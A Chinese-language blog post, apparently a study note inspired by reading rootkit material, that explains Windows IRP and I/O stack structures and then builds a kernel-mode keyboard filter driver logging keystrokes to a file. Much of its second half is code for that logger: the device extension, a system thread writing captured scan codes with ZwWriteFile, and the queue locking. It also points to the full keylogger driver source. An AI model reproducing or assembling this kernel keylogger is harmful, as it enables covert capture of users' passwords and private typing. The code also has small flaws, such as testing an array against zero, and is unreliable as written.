最近在看rootkits相關的資料,無意間又翻到了驅動過濾類的知識。分層驅動程序不僅可以截獲數據,也可以在傳遞數據之前對其進行修改。
IRP和堆棧位置
學習windows下的驅動,IRP一定是重中之重,他其實就相當於windows應用層下的消息,傳遞着各個操作的命令。先來看看IRP的結構:
結合上面的結構圖,定義如下:
typedef struct _IRP {
PMDL MdlAddress;//MDL地址,內存描述符表。用來建立一塊虛擬地址空間與物理地址頁面之間的映射
/*下面是一個共用體,很重要,聯合的IRP,裏面的SystemBuffer是指向應用層傳遞來的數據,採用的是DO_BUFFER_IO緩衝區拷貝的方式通信,速度慢,一般在DeviceIoControl小數據使用*/
union {
struct _IRP *MasterIrp;
LONG IrpCount;
PVOID SystemBuffer;
} AssociatedIrp;
/*裏面有兩個結構,一個Status是IRP完成的狀態,一個是Infotmation存放數據傳輸的個數*/
IO_STATUS_BLOCK IoStatus;
CHAR StackCount;//棧的個數,可以由設備對象中StackSize的值決定
CHAR CurrentLocation;//當前的設備棧位置,很重要,過濾器驅動需要判斷是否大於0,否則直接藍屏處理
PKEVENT UserEvent;//構建IRP時很重要,同步事件,後面會講到。
} Overlay;
PVOID UserBuffer;//用戶緩衝區,第三種方式和應用程序共享數據。這種速度最快,但也是最不安全,內核程序直接讀取用戶的內存,必
須保證在相同設備上下文中訪問纔不會出錯。
union {
struct {
struct {
union {
struct _IO_STACK_LOCATION *CurrentStackLocation;//IO設備棧指針,他是一個設備棧數組
};
};
} Overlay;
} Tail;
} IRP, *PIRP;
我們可以詳細看下IO_STACK_LOCATION結構(截取一部分):
typedef struct _IO_STACK_LOCATION {
UCHAR MajorFunction;//IRP主功能碼
UCHAR MinorFunction;//IRP次功能碼,尤其是Pnp的IRP尤爲重要
UCHAR Flags;
UCHAR Control;//DeviceControl的控制碼
/*以下是一個聯合體,非常重要,幾乎所有的用戶API的請求都在這裏面體現出來,記錄了所有的用戶請求信息,例如讀寫的長度信息等。下面
只保留了幾個*/
union {
struct {
ULONG Length;
ULONG POINTER_ALIGNMENT Key;
LARGE_INTEGER ByteOffset;
} Read;//NtReadFile(也即是ReadFile的實現的)
struct {
ULONG Length;
ULONG POINTER_ALIGNMENT Key;
LARGE_INTEGER ByteOffset;
} Write;//NtWriteFile
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;//NtDeviceIoControlFile
struct {
PCM_RESOURCE_LIST AllocatedResources;
PCM_RESOURCE_LIST AllocatedResourcesTranslated;
} StartDevice;//爲什麼保留這個,原因在於我自己是做硬件設備驅動的,而這個是啓動設備的PnP能夠獲取到硬件的設備資源。如果
是純內核開發不需要關心。
struct {
PVOID Argument1;
PVOID Argument2;
PVOID Argument3;
PVOID Argument4;
} Others;//這個的重要性在於,若沒有列舉的結構都可以用強類型轉換這幾個字段。很靈活
} Parameters;
PDEVICE_OBJECT DeviceObject;//指向的設備對象,很重要,從設備對象中可以獲得驅動對象,然後再得到相應的分發函數
PFILE_OBJECT FileObject;//文件對象,文件系統之類的信息安全內核編程很重要。
PIO_COMPLETION_ROUTINE CompletionRoutine;
PVOID Context;
} IO_STACK_LOCATION, *PIO_STACK_LOCATION;
然後就是4中IRP的分發方式
- 直接完成IRP,返回。
- 放入IRP隊列中,調用StartIO完成IRP串行化。
- 傳遞IRP到下一層,由下一層(或者再下一層完成)並且不需要獲得IRP完成的情況
- 傳遞IRP到下一層,同時需要得到獲得下一層處理完IRP的信息
4種IRP的完成方式:
- 直接完成IRP:IoCompleteRequest()
- 放入IRP隊列:IoMarkIrpPending()和IoStartPacket()
- 傳遞IRP到下一層:IoSkipCurrentIrpStackLocation()和IoCallDriver()
- 需要獲取完成信息:IoCopyCurrentIrpStackLocationToNext()和IoCallDriver()
根據上述,我們可以知道當有新的請求發出的時候,IRP被創建,在分配的IRP中爲鏈中的每個驅動程序添加額外的空間,這個額外的空間就是上述結構中的IO_STACK_LOCATION
他在內存中的結構類似於:
IRP的頭部存儲着當前IO_STACK_LOCATION的索引和當前數組的指針(索引沒有0號成員),這樣當消息向底層驅動傳遞的時候通過調用IoCallDriver(實際上就是遞減當前堆棧位置索引,然後與0比較,然後將棧指針移動到前一個設備棧)
類似於這個過程:
這樣不僅可以將irp傳遞到底層驅動中去,也允許着更底層的驅動程序使用位於他之上驅動程序提供的任意參數(通過使用IoSkipCurrentIrpStackLocation()可以將指針回撥)。
關於鍵盤過濾
之前自己寫過一篇文章:
[filter]windows鍵盤過濾
裏面只是將對應的按鍵消息通過dbgview顯示出來,但是如果想要進一步將按鍵寫入文件,就稍微顯得麻煩些。因爲IRP處理函數的IRQ級別爲DISPATCH,他禁止了文件操作,所以如果想要記錄下按鍵,則需要我們創建一個單獨的線程來處理文件的寫入。
[未完待續]下課要去搶飯啦
其他的大致思路和之前的文章一樣,都是需要在底層鍵盤驅動上綁定我們自己的過濾驅動,然後設置IRP的完成回調函數,在IRP完成返回後獲得鍵盤信息。
這個地方的過濾稍微複雜一點的就是需要講鍵盤消息寫入到一個文本文件而不是打印出來:
通過PsCreateSystemThread這個api來創建底層線程
NTSTATUS PsCreateSystemThread(
_Out_ PHANDLE ThreadHandle,
_In_ ULONG DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ HANDLE ProcessHandle,
_Out_opt_ PCLIENT_ID ClientId,
_In_ PKSTART_ROUTINE StartRoutine,
_In_opt_ PVOID StartContext
);
這裏我們將DesiredAccess設置爲ACCESS_MASK,將ObjectAttributes設置爲NULL,講processhandle設置爲(HANDLE)0 (代表着driver-created thread),同理我們將ClientId也設置爲NULL,將後面兩個參數分別指向我們的鍵盤記錄線程和設備擴展。
NTSTATUS status = PsCreateSystemThread(&hThread,(ACCESS_MASK)0,NULL,(HANDLE)0,NULL,ThreadKeyLogger,
pKeyboardDeviceExtension);
if(!NT_SUCCESS(status))
return status;
DbgPrint("Key logger thread created...\n");
鍵盤的記錄線程中,因爲線程運行在內核中,所以只能通過自己來對線程進行卸載,於是我們在設備擴展程序中增加一個鍵盤線程運行的標誌位來對線程的運行狀態進行標記。當驅動卸載的時候,可以通過對標誌位的改變來對線程進行終止。
設備擴展:
typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT pKeyboardDevice; //設備棧中的鍵盤設備
PETHREAD pThreadObj; //鍵盤記錄線程
bool bThreadTerminate; //線程運行狀態
HANDLE hLogFile; //記錄敲擊鍵盤的文件句柄
KEY_STATE kState; //特殊按鍵狀態
//同步和取鍵盤消息
KSEMAPHORE semQueue;
KSPIN_LOCK lockQueue;
LIST_ENTRY QueueListHead;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
我們繼續回到鍵盤線程中,
VOID ThreadKeyLogger(IN PVOID pContext)
{
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
PDEVICE_OBJECT pKeyboardDeviceOjbect = pKeyboardDeviceExtension->pKeyboardDevice;
PLIST_ENTRY pListEntry;
KEY_DATA* kData; //custom data structure used to hold scancodes in the linked list
while(true)
{
//通過信號量來標誌數據是否到達隊列
KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);
pListEntry = ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,
&pKeyboardDeviceExtension->lockQueue);
//線程通過對標誌位判斷來終止自己
if(pKeyboardDeviceExtension->bThreadTerminate == true)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
//通過CONTAINING_RECORD獲得指向數據的指針
kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
char keys[3] = {0};
//掃描碼轉換爲按鍵碼ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);
if(keys != 0)
{
//判斷寫入文件是否存在
if(pKeyboardDeviceExtension->hLogFile != NULL)
{
IO_STATUS_BLOCK io_status;
DbgPrint("Writing scan code to file...\n");
NTSTATUS status = ZwWriteFile(pKeyboardDeviceExtension->hLogFile,NULL,NULL,NULL,
&io_status,&keys,strlen(keys),NULL,NULL);
if(status != STATUS_SUCCESS)
DbgPrint("Writing scan code to file...\n");
else
DbgPrint("Scan code '%s' successfully written to file.\n",keys);
}
}
}
return;
}
爲了保證線程的安全性,我們需要在驅動加載的時候設置一個自旋鎖來保證不會出現死鎖或者競爭引起的藍屏,用信號量記錄下工作隊列中的項數
//Initialize the lock for the linked list queue
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
//Initialize the work queue semaphore
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0 , MAXLONG);
在讀例程中,我們爲保證安全和通知也可以這樣寫:
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
//Increment the semaphore by 1 - no WaitForXXX after this call
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);
主要和之前的代碼稍微i不同的就是以上這些了,具體的代碼參見
鍵盤記錄驅動